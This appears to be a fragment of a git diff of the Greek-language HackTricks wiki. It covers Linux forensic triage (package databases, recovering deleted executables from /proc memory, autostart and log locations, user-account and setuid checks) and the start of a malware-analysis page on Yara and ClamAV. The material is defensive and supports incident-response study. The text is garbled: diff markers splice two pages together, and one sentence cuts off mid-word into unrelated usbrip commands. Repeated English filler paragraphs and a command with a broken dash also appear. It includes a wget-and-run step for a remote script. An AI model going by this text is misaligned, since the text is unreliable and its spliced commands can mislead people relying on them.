* Για το Debian, ελέγξτε τα _**`/var/lib/dpkg/status`**_ και _**`/var/log/dpkg.log`**_ για λεπτομέρειες σχετικά με τις εγκαταστάσεις πακέτων, χρησιμοποιώντας το `grep` για να φιλτράρετε συγκεκριμένες πληροφορίες.
|
||||||
|
* Οι χρήστες RedHat μπορούν να ερευνήσουν τη βάση δεδομένων RPM με την εντολή `rpm -qa --root=/mntpath/var/lib/rpm` για να καταχωρίσουν τα εγκατεστημένα πακέτα.
|
||||||
|
|
||||||
|
Για να ανακαλύψετε λογισμικό που έχει εγκατασταθεί χειροκίνητα ή εκτός αυτών των διαχειριστών πακέτων, εξετάστε καταλόγους όπως _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_ και _**`/sbin`**_. Συνδυάστε τις λίστες καταλόγων με εντολές ειδικές για το σύστημα για να εντοπίσετε εκτελέσιμα που δεν σχετίζονται με γνωστά πακέτα, βελτιώνοντας έτσι την αναζήτησή σας για όλα τα εγκατεστημένα προγράμματα.
|
||||||
|
```bash
|
||||||
|
# Debian package and log details
|
||||||
|
cat /var/lib/dpkg/status | grep -E "Package:|Status:"
|
||||||
|
cat /var/log/dpkg.log | grep installed
|
||||||
|
# RedHat RPM database query
|
||||||
|
rpm -qa --root=/mntpath/var/lib/rpm
|
||||||
|
# Listing directories for manual installations
|
||||||
|
ls /usr/sbin /usr/bin /bin /sbin
|
||||||
|
# Identifying non-package executables (Debian)
|
||||||
|
find /sbin/ -exec dpkg -S {} \; | grep "no path found"
|
||||||
|
# Identifying non-package executables (RedHat)
|
||||||
|
find /sbin/ –exec rpm -qf {} \; | grep "is not"
|
||||||
|
# Find exacuable files
|
||||||
|
find / -type f -executable | grep <something>
|
||||||
|
```
|
||||||
|
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
\
|
||||||
|
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της παγκόσμιας κοινότητας.\
|
||||||
|
Αποκτήστε πρόσβαση σήμερα:
|
||||||
|
|
||||||
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
|
||||||
|
## Ανάκτηση Διαγραμμένων Εκτελέσιμων Αρχείων
|
||||||
|
|
||||||
|
Φανταστείτε ένα διεργασία που εκτελέστηκε από το /tmp/exec και στη συνέχεια διαγράφηκε. Είναι δυνατόν να το εξάγετε
|
||||||
|
```bash
|
||||||
|
cd /proc/3746/ #PID with the exec file deleted
|
||||||
|
head -1 maps #Get address of the file. It was 08048000-08049000
|
||||||
|
dd if=mem bs=1 skip=08048000 count=1000 of=/tmp/exec2 #Recorver it
|
||||||
|
```
|
||||||
|
## Επιθεώρηση τοποθεσιών εκκίνησης αυτόματης εκκίνησης
|
||||||
|
|
||||||
|
### Προγραμματισμένες εργασίες
|
||||||
|
```bash
|
||||||
|
cat /var/spool/cron/crontabs/* \
|
||||||
|
/var/spool/cron/atjobs \
|
||||||
|
/var/spool/anacron \
|
||||||
|
/etc/cron* \
|
||||||
|
/etc/at* \
|
||||||
|
/etc/anacrontab \
|
||||||
|
/etc/incron.d/* \
|
||||||
|
/var/spool/incron/* \
|
||||||
|
|
||||||
|
#MacOS
|
||||||
|
ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/
|
||||||
|
```
|
||||||
|
### Υπηρεσίες
|
||||||
|
|
||||||
|
Διαδρομές όπου μπορεί να εγκατασταθεί κακόβουλο λογισμικό ως υπηρεσία:
|
||||||
|
|
||||||
|
- **/etc/inittab**: Καλεί σενάρια εκκίνησης όπως το rc.sysinit, καθοδηγώντας προς περαιτέρω σενάρια εκκίνησης.
|
||||||
|
- **/etc/rc.d/** και **/etc/rc.boot/**: Περιέχουν σενάρια για την εκκίνηση υπηρεσιών, με το δεύτερο να βρίσκεται σε παλαιότερες εκδόσεις Linux.
|
||||||
|
- **/etc/init.d/**: Χρησιμοποιείται σε συγκεκριμένες εκδόσεις Linux όπως το Debian για την αποθήκευση σεναρίων εκκίνησης.
|
||||||
|
- Οι υπηρεσίες μπορεί επίσης να ενεργοποιηθούν μέσω **/etc/inetd.conf** ή **/etc/xinetd/**, ανάλογα με την εκδοχή του Linux.
|
||||||
|
- **/etc/systemd/system**: Ένας κατάλογος για σενάρια συστήματος και διαχείρισης υπηρεσιών.
|
||||||
|
- **/etc/systemd/system/multi-user.target.wants/**: Περιέχει συνδέσμους προς υπηρεσίες που πρέπει να ξεκινήσουν σε ένα επίπεδο εκτέλεσης πολλαπλών χρηστών.
|
||||||
|
- **/usr/local/etc/rc.d/**: Για προσαρμοσμένες ή υπηρεσίες τρίτων.
|
||||||
|
- **\~/.config/autostart/**: Για εφαρμογές εκκίνησης αυτόματα που είναι συγκεκριμένες για τον χρήστη, μπορεί να είναι ένα μέρος κρυψώνας για κακόβουλο λογισμικό που στοχεύει τον χρήστη.
|
||||||
|
- **/lib/systemd/system/**: Αρχεία μονάδας προεπιλογής για ολόκληρο το σύστημα που παρέχονται από εγκατεστημένα πακέτα.
|
||||||
|
|
||||||
|
### Μονάδες πυρήνα
|
||||||
|
|
||||||
|
Οι μονάδες πυρήνα Linux, συχνά χρησιμοποιούμενες από κακόβουλο λογισμικό ως στοιχεία rootkit, φορτώνονται κατά την εκκίνηση του συστήματος. Οι κατάλογοι και τα αρχεία που είναι κρίσιμα για αυτές τις μονάδες περιλαμβάνουν:
|
||||||
|
|
||||||
|
- **/lib/modules/$(uname -r)**: Κρατά μονάδες για την τρέχουσα έκδοση του πυρήνα.
|
||||||
|
- **/etc/modprobe.d**: Περιέχει αρχεία ρύθμισης για τον έλεγχο της φόρτωσης μονάδων.
|
||||||
|
- **/etc/modprobe** και **/etc/modprobe.conf**: Αρχεία για γενικές ρυθμίσεις μονάδων.
|
||||||
|
|
||||||
|
### Άλλες Τοποθεσίες Αυτόματης Εκκίνησης
|
||||||
|
|
||||||
|
Το Linux χρησιμοποιεί διάφορα αρχεία για την αυτόματη εκτέλεση προγραμμάτων κατά την σύνδεση του χρήστη, πιθανώς κρύβοντας κακόβουλο λογισμικό:
|
||||||
|
|
||||||
|
- **/etc/profile.d/**\*, **/etc/profile**, και **/etc/bash.bashrc**: Εκτελούνται για οποιαδήποτε σύνδεση χρήστη.
|
||||||
|
- **\~/.bashrc**, **\~/.bash\_profile**, **\~/.profile**, και **\~/.config/autostart**: Αρχεία συγκεκριμένα για τον χρήστη που εκτελούνται κατά τη σύνδεσή τους.
|
||||||
|
- **/etc/rc.local**: Εκτελείται μετά την εκκίνηση όλων των υπηρεσιών συστήματος, σηματοδοτώντας το τέλος της μετάβασης σε ένα πολλαπλών χρηστών περιβάλλον.
|
||||||
|
|
||||||
|
## Εξέταση Αρχείων Καταγραφής
|
||||||
|
|
||||||
|
Τα συστήματα Linux καταγράφουν τις δραστηριότητες των χρηστών και τα συμβάντα του συστήματος μέσω διαφόρων αρχείων καταγραφής. Αυτά τα αρχεία καταγραφής είναι ζωτικής σημασίας για την αναγνώριση μη εξουσιοδοτημένης πρόσβασης, μολύνσεις από κακόβουλο λογισμικό και άλλα περιστατικά ασφάλειας. Κύρια αρχεία καταγραφής περιλαμβάνουν:
|
||||||
|
|
||||||
|
- **/var/log/syslog** (Debian) ή **/var/log/messages** (RedHat): Καταγράφουν μηνύματα και δραστηριότητες σε ολόκληρο το σύστημα.
|
||||||
|
- **/var/log/auth.log** (Debian) ή **/var/log/secure** (RedHat): Καταγράφουν προσπάθειες πιστοποίησης, επιτυχείς και αποτυχημένες συνδέσεις.
|
||||||
|
- Χρησιμοποιήστε την εντολή `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` για να φιλτράρετε σχετικά γεγονότα πιστοποίησης.
|
||||||
|
- **/var/log/boot.log**: Περιέχει μηνύματα εκκίνησης του συστήματος.
|
||||||
|
- **/var/log/maillog** ή **/var/log/mail.log**: Καταγράφουν δραστηριότητες του διακομιστή email, χρήσιμα για την παρακολούθηση υπηρεσιών σχετικών με email.
|
||||||
|
- **/var/log/kern.log**: Αποθηκεύει μηνύματα πυρήνα, συμπεριλαμβανομένων σφαλμάτων και προειδοποιήσεων.
|
||||||
|
- **/var/log/dmesg**: Κρατά μηνύματα οδηγών συσκευών.
|
||||||
|
- **/var/log/faillog**: Καταγράφει αποτυχημένες προσπάθειες σύνδεσης, βοηθώντας στην έρευνα παραβίασης ασφάλειας.
|
||||||
|
- **/var/log/cron**: Καταγράφει τις εκτελέσεις των εργασιών cron.
|
||||||
|
- **/var/log/daemon.log**: Καταγράφει τις δραστηριότητες υπηρεσιών φόντου.
|
||||||
|
- **/var/log/btmp**: Τεκμηριώνει αποτυχημένες προσπάθειες σύνδεσης.
|
||||||
|
- **/var/log/httpd/**: Περιέχει αρχεία καταγραφής σφαλμάτων και πρόσβασης του Apache HTTPD.
|
||||||
|
- **/var/log/mysqld.log** ή **/var/log/mysql.log**: Καταγράφουν δραστηριότητες της βάσης δεδομένων MySQL.
|
||||||
|
- **/var/log/xferlog**: Καταγράφει μεταφορές αρχείων FTP.
|
||||||
|
- **/var/log/**: Πάντα ελέγξτε για απροσδόκητα αρχεία καταγραφής εδώ.
|
||||||
|
|
||||||
|
{% hint style="info" %}
|
||||||
|
Τα αρχεία καταγραφής συστήματος Linux και τα υποσυστήματα ελέγχου ενδέχεται να είναι απενεργοποιημένα ή διαγραμμένα σε περίπτωση διείσδυσης ή περιστατικού κακόβουλου λογισμικού. Διότι τα αρχεία καταγραφής σε συστήματα Linux συνήθως περιέχουν μερικές από τις πιο χρήσιμες πληροφορίες σχετικά με κακόβουλες δραστηριότητες, οι εισβολείς τα διαγράφουν συστηματικά. Επομένως, κατά την εξέταση των διαθέσιμων αρχείων καταγραφής, είναι σημαντικό να εξετάζετε για κενά ή μη σειριακές καταχωρήσεις που μπορεί να υποδεικνύουν διαγραφή ή παρεμβολή.
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
**Το Linux διατηρεί μια ιστορία εντολών για κάθε χρήστη**, αποθηκευμένη σε:
|
||||||
|
|
||||||
|
- \~/.bash\_history
|
||||||
|
- \~/.zsh\_history
|
||||||
|
- \~/.zsh\_sessions/\*
|
||||||
|
- \~/.python\_history
|
||||||
|
- \~/.\*\_history
|
||||||
|
|
||||||
|
Επιπλέον, η εντολή `last -Faiwx` παρέχει μια λίστα με τις συνδέσεις χρηστών. Ελέγξτε την για άγνωστες ή απροσδόκητες συνδέσεις.
|
||||||
|
|
||||||
|
Ελέγξτε αρχεία που μπορούν να παραχωρήσουν επιπλέον δικαιώματα:
|
||||||
|
|
||||||
|
- Εξετάστε το `/etc/sudoers` για απροσδόκητα δικαιώματα χρήστη που ενδεχομένως έχουν χορηγηθεί.
|
||||||
|
- Εξετάστε το `/etc/sudoers.d/` για απροσδόκητα δικαιώματα χρήστη που ενδεχομένως έχουν χορηγηθεί.
|
||||||
|
- Εξετάστε το `/etc/groups` για την αναγνώριση οποιωνδήποτε ασυνήθιστων μελών ομάδας ή δικαιωμάτων.
|
||||||
|
- Εξετάστε το `/etc/passwd` για την αναγνώριση οποιωνδήπο
|
||||||
|
```bash
|
||||||
|
pip3 install usbrip
|
||||||
|
usbrip ids download #Download USB ID database
|
||||||
|
```
|
||||||
|
### Παραδείγματα
|
||||||
|
```bash
|
||||||
|
usbrip events history #Get USB history of your curent linux machine
|
||||||
|
usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR user
|
||||||
|
#Search for vid and/or pid
|
||||||
|
usbrip ids download #Downlaod database
|
||||||
|
usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid
|
||||||
|
```
|
||||||
|
## Εξέταση Λογαριασμών Χρηστών και Δραστηριοτήτων Σύνδεσης
|
||||||
|
|
||||||
|
Εξετάστε τα _**/etc/passwd**_, _**/etc/shadow**_ και **αρχεία καταγραφής ασφαλείας** για ασυνήθιστα ονόματα ή λογαριασμούς που δημιουργήθηκαν ή χρησιμοποιήθηκαν κοντά σε γνωστά μη εξουσιοδοτημένα συμβάντα. Επίσης, ελέγξτε πιθανές επιθέσεις sudo brute-force.\
|
||||||
|
Επιπλέον, ελέγξτε αρχεία όπως το _**/etc/sudoers**_ και το _**/etc/groups**_ για απροσδόκητα προνόμια που δίνονται σε χρήστες.\
|
||||||
|
Τέλος, αναζητήστε λογαριασμούς με **καμία κωδικό** ή **εύκολα μαντεψιάρικους** κωδικούς.
|
||||||
|
|
||||||
|
## Εξέταση Συστήματος Αρχείων
|
||||||
|
|
||||||
|
### Ανάλυση Δομών Αρχείων στην Έρευνα Κακόβουλου Λογισμικού
|
||||||
|
|
||||||
|
Κατά την έρευνα περιστατικών κακόβουλου λογισμικού, η δομή του συστήματος αρχείων είναι μια κρίσιμη πηγή πληροφοριών, αποκαλύπτοντας τόσο την ακολουθία των γεγονότων όσο και το περιεχόμενο του κακόβουλου λογισμικού. Ωστόσο, οι συγγραφείς κακόβουλου λογισμικού αναπτύσσουν τεχνικές για να δυσκολέψουν αυτήν την ανάλυση, όπως η τροποποίηση των χρονοσημάτων αρχείων ή η αποφυγή του συστήματος αρχείων για αποθήκευση δεδομένων.
|
||||||
|
|
||||||
|
Για να αντιμετωπίσετε αυτές τις αντι-δανειστικές μεθόδους, είναι ουσιώδες:
|
||||||
|
|
||||||
|
* **Διεξάγετε μια λεπτομερή ανάλυση χρονολογίου** χρησιμοποιώντας εργαλεία όπως το **Autopsy** για οπτικοποίηση των χρονολογιών συμβάντων ή το `mactime` του **Sleuth Kit** για λεπτομερείς πληροφορίες χρονολογίου.
|
||||||
|
* **Εξετάστε απροσδόκητα scripts** στο $PATH του συστήματος, τα οποία ενδέχεται να περιλαμβάνουν scripts κελύφους ή PHP που χρησιμοποιούν οι επιτιθέμενοι.
|
||||||
|
* **Εξετάστε τον κατάλογο `/dev` για ατυπικά αρχεία**, καθώς συνήθως περιέχει ειδικά αρχεία, αλλά μπορεί να περιέχει και αρχεία που σχετίζονται με κακόβουλο λογισμικό.
|
||||||
|
* **Αναζητήστε κρυφά αρχεία ή καταλόγους** με ονόματα όπως ".. " (τελεία τελεία κενό) ή "..^G" (τελεία τελεία ελέγχου-G), τα οποία μπορεί να κρύβουν κακόβουλο περιεχόμενο.
|
||||||
|
* **Αναγνωρίστε αρχεία setuid root** χρησιμοποιώντας την εντολή: `find / -user root -perm -04000 -print` Αυτό εντοπίζει αρχεία με υψηλά δικαιώματα, τα οποία θα μπορούσαν να καταχραστούνται από επιτιθέμενους.
|
||||||
|
* **Ελέγξτε τα χρονοσήματα διαγραφής** στους πίνακες inode για να εντοπίσετε μαζικές διαγραφές αρχείων, που ενδέχεται να υποδηλώνουν την παρουσία rootkits ή τροϊανών.
|
||||||
|
* **Ελέγξτε συνεχόμενα inodes** για κοντινά κακόβουλα αρχεία μετά την εντοπισμό ενός, καθώς ενδέχεται να έχουν τοποθετηθεί μαζί.
|
||||||
|
* **Ελέγξτε κοινούς καταλόγους δυαδικών αρχείων** (_/bin_, _/sbin_) για πρόσφατα τροποποιημένα αρχεία, καθώς αυτά θα μπορούσαν να έχουν τροποποιηθεί από κακόβουλο λογισμικό.
|
||||||
|
````bash
|
||||||
|
# List recent files in a directory:
|
||||||
|
ls -laR --sort=time /bin```
|
||||||
|
|
||||||
|
# Sort files in a directory by inode:
|
||||||
|
ls -lai /bin | sort -n```
|
||||||
|
````
|
||||||
|
{% hint style="info" %}
|
||||||
|
Σημειώστε ότι ένας **εισβολέας** μπορεί να **τροποποιήσει** τη **χρονική σήμανση** για να κάνει τα **αρχεία να φαίνονται** **νόμιμα**, αλλά δεν μπορεί να τροποποιήσει το **inode**. Εάν ανακαλύψετε ότι ένα **αρχείο** υποδηλώνει ότι δημιουργήθηκε και τροποποιήθηκε την **ίδια ώρα** με τα υπόλοιπα αρχεία στον ίδιο φάκελο, αλλά το **inode** είναι **απροσδόκητα μεγαλύτερο**, τότε οι **χρονικές σημάνσεις του αρχείου αυτού τροποποιήθηκαν**.
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
## Σύγκριση αρχείων διαφορετικών εκδόσεων συστήματος αρχείων
|
||||||
|
|
||||||
|
### Περίληψη Σύγκρισης Εκδόσεων Συστήματος Αρχείων
|
||||||
|
|
||||||
|
Για να συγκρίνουμε εκδόσεις συστημάτων αρχείων και να εντοπίσουμε τις αλλαγές, χρησιμοποιούμε απλοποιημένες εντολές `git diff`:
|
||||||
|
|
||||||
|
* **Για να βρείτε νέα αρχεία**, συγκρίνετε δύο καταλόγους:
|
||||||
|
```bash
|
||||||
|
git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/
|
||||||
|
```
|
||||||
|
* **Για τροποποιημένο περιεχόμενο**, καταγράψτε τις αλλαγές αγνοώντας συγκεκριμένες γραμμές:
|
||||||
|
```bash
|
||||||
|
git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ | grep -E "^\+" | grep -v "Installed-Time"
|
||||||
|
```
|
||||||
|
* **Ανίχνευση διαγραμμένων αρχείων**:
|
||||||
|
```bash
|
||||||
|
git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
|
||||||
|
```
|
||||||
|
* **Επιλογές φίλτρου** (`--diff-filter`) βοηθούν στον περιορισμό σε συγκεκριμένες αλλαγές όπως προστιθέμενα (`A`), διαγραμμένα (`D`), ή τροποποιημένα (`M`) αρχεία.
|
||||||
|
* `A`: Προστιθέμενα αρχεία
|
||||||
|
* `C`: Αντιγραμμένα αρχεία
|
||||||
|
* `D`: Διαγραμμένα αρχεία
|
||||||
|
* `M`: Τροποποιημένα αρχεία
|
||||||
|
* `R`: Μετονομασμένα αρχεία
|
||||||
|
* `T`: Αλλαγές τύπου (π.χ., αρχείο σε σύμβολο συνδέσμου)
|
||||||
|
* `U`: Μη συγχωνευμένα αρχεία
|
||||||
|
* `X`: Άγνωστα αρχεία
|
||||||
|
* `B`: Κατεστραμμένα αρχεία
|
||||||
|
|
||||||
|
## Αναφορές
|
||||||
|
|
||||||
|
* [https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf](https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf)
|
||||||
|
* [https://www.plesk.com/blog/featured/linux-logs-explained/](https://www.plesk.com/blog/featured/linux-logs-explained/)
|
||||||
|
* [https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203)
|
||||||
|
* **Βιβλίο: Malware Forensics Field Guide for Linux Systems: Digital Forensics Field Guides**
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
|
||||||
|
* Ανακαλύψτε [**Την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* **Εγγραφείτε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
|
||||||
|
**Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
\
|
||||||
|
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
|
||||||
|
Αποκτήστε πρόσβαση σήμερα:
|
||||||
|
|
||||||
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
|
@ -0,0 +1,243 @@
|
||||||
|
# Ανάλυση κακόβουλου λογισμικού
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||||
|
|
||||||
|
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
## Φύλλα απατηλής ανάλυσης
|
||||||
|
|
||||||
|
[https://www.jaiminton.com/cheatsheet/DFIR/#](https://www.jaiminton.com/cheatsheet/DFIR/)
|
||||||
|
|
||||||
|
## Υπηρεσίες σε απευθείας σύνδεση
|
||||||
|
|
||||||
|
* [VirusTotal](https://www.virustotal.com/gui/home/upload)
|
||||||
|
* [HybridAnalysis](https://www.hybrid-analysis.com)
|
||||||
|
* [Koodous](https://koodous.com)
|
||||||
|
* [Intezer](https://analyze.intezer.com)
|
||||||
|
* [Any.Run](https://any.run/)
|
||||||
|
|
||||||
|
## Εργαλεία ανίχνευσης και αντιιού
|
||||||
|
|
||||||
|
### Yara
|
||||||
|
|
||||||
|
#### Εγκατάσταση
|
||||||
|
```bash
|
||||||
|
sudo apt-get install -y yara
|
||||||
|
```
|
||||||
|
#### Προετοιμασία κανόνων
|
||||||
|
|
||||||
|
Χρησιμοποιήστε αυτό το σενάριο για να κατεβάσετε και να συγχωνεύσετε όλους τους κανόνες yara για κακόβουλο λογισμικό από το github: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\
|
||||||
|
Δημιουργήστε τον φάκελο _**rules**_ και εκτελέστε το. Αυτό θα δημιουργήσει ένα αρχείο με το όνομα _**malware\_rules.yar**_ που περιέχει όλους τους κανόνες yara για κακόβουλο λογισμικό.
|
||||||
|
```bash
|
||||||
|
wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py
|
||||||
|
mkdir rules
|
||||||
|
python malware_yara_rules.py
|
||||||
|
```
|
||||||
|
#### Σάρωση
|
||||||
|
|
||||||
|
To begin the malware analysis process, it is important to perform a thorough scan of the infected system. This scan will help identify any malicious files or processes that may be present. There are several tools and techniques that can be used for this purpose.
|
||||||
|
|
||||||
|
##### Antivirus Scans
|
||||||
|
|
||||||
|
Running an antivirus scan is one of the simplest and most effective ways to detect malware on a system. Antivirus software is designed to identify and remove known malware signatures. It is important to keep the antivirus software up to date to ensure it can detect the latest threats.
|
||||||
|
|
||||||
|
##### File Analysis
|
||||||
|
|
||||||
|
Performing a detailed analysis of suspicious files can provide valuable insights into the nature of the malware. This can be done using tools such as file analyzers, hex editors, and disassemblers. By examining the file's structure and contents, it is possible to identify any malicious code or behavior.
|
||||||
|
|
||||||
|
##### Process Analysis
|
||||||
|
|
||||||
|
Analyzing the running processes on the system can help identify any malicious activity. Tools such as process monitors and system analyzers can be used to monitor the behavior of processes and identify any suspicious or unauthorized activity.
|
||||||
|
|
||||||
|
##### Network Analysis
|
||||||
|
|
||||||
|
Analyzing network traffic can provide information about the communication channels used by the malware. Tools such as packet sniffers and network analyzers can be used to capture and analyze network traffic. This can help identify any connections to malicious servers or unusual network behavior.
|
||||||
|
|
||||||
|
##### Memory Analysis
|
||||||
|
|
||||||
|
Analyzing the system's memory can reveal valuable information about the malware's behavior and capabilities. Tools such as memory dumpers and memory analyzers can be used to extract and analyze the contents of the system's memory. This can help identify any malicious processes or code that may be running in memory.
|
||||||
|
|
||||||
|
##### Registry Analysis
|
||||||
|
|
||||||
|
Analyzing the system's registry can provide insights into the malware's persistence mechanisms and configuration settings. Tools such as registry editors and registry analyzers can be used to examine the registry and identify any suspicious or malicious entries.
|
||||||
|
|
||||||
|
##### Log Analysis
|
||||||
|
|
||||||
|
Analyzing system logs can help identify any unusual or suspicious activity. Logs such as event logs, application logs, and security logs can provide valuable information about the malware's actions and impact on the system. Tools such as log analyzers can be used to parse and analyze log files.
|
||||||
|
|
||||||
|
By performing a comprehensive scan of the infected system using these techniques, it is possible to gather valuable information about the malware and its impact on the system. This information can then be used to further analyze and mitigate the threat.
|
||||||
|
```bash
|
||||||
|
yara -w malware_rules.yar image #Scan 1 file
|
||||||
|
yara -w malware_rules.yar folder #Scan the whole folder
|
||||||
|
```
|
||||||
|
#### YaraGen: Έλεγχος για κακόβουλο λογισμικό και δημιουργία κανόνων
|
||||||
|
|
||||||
|
Μπορείτε να χρησιμοποιήσετε το εργαλείο [**YaraGen**](https://github.com/Neo23x0/yarGen) για να δημιουργήσετε κανόνες yara από ένα δυαδικό αρχείο. Ρίξτε μια ματιά σε αυτά τα εκπαιδευτικά: [**Μέρος 1**](https://www.nextron-systems.com/2015/02/16/write-simple-sound-yara-rules/), [**Μέρος 2**](https://www.nextron-systems.com/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/), [**Μέρος 3**](https://www.nextron-systems.com/2016/04/15/how-to-write-simple-but-sound-yara-rules-part-3/)
|
||||||
|
```bash
|
||||||
|
python3 yarGen.py --update
|
||||||
|
python3.exe yarGen.py --excludegood -m ../../mals/
|
||||||
|
```
|
||||||
|
### ClamAV
|
||||||
|
|
||||||
|
#### Εγκατάσταση
|
||||||
|
|
||||||
|
Για να εγκαταστήσετε το ClamAV, ακολουθήστε τα παρακάτω βήματα:
|
||||||
|
|
||||||
|
1. Ανοίξτε ένα τερματικό.
|
||||||
|
2. Εκτελέστε την εντολή `sudo apt-get update` για να ενημερώσετε τη λίστα των διαθέσιμων πακέτων.
|
||||||
|
3. Εκτελέστε την εντολή `sudo apt-get install clamav` για να εγκαταστήσετε το ClamAV.
|
||||||
|
4. Αναμένετε να ολοκληρωθεί η εγκατάσταση.
|
||||||
|
|
||||||
|
Μετά την εγκατάσταση, το ClamAV θα είναι έτοιμο να χρησιμοποιηθεί.
|
||||||
|
```
|
||||||
|
sudo apt-get install -y clamav
|
||||||
|
```
|
||||||
|
#### Σάρωση
|
||||||
|
|
||||||
|
To begin the malware analysis process, it is important to perform a thorough scan of the infected system. This scan will help identify any malicious files or processes that may be present. There are several tools and techniques that can be used for this purpose.
|
||||||
|
|
||||||
|
##### Antivirus Scans
|
||||||
|
|
||||||
|
Running an antivirus scan is one of the most common and effective ways to detect malware on a system. Antivirus software is designed to identify and remove malicious files, and it can be used to scan both individual files and the entire system. It is recommended to use a reputable antivirus program and keep it updated to ensure the best possible protection.
|
||||||
|
|
||||||
|
##### Online Scanners
|
||||||
|
|
||||||
|
In addition to traditional antivirus software, there are also online scanners available that can be used to scan a system for malware. These scanners typically use cloud-based technology to analyze files and detect any malicious activity. Some popular online scanners include VirusTotal and Hybrid Analysis.
|
||||||
|
|
||||||
|
##### File Analysis
|
||||||
|
|
||||||
|
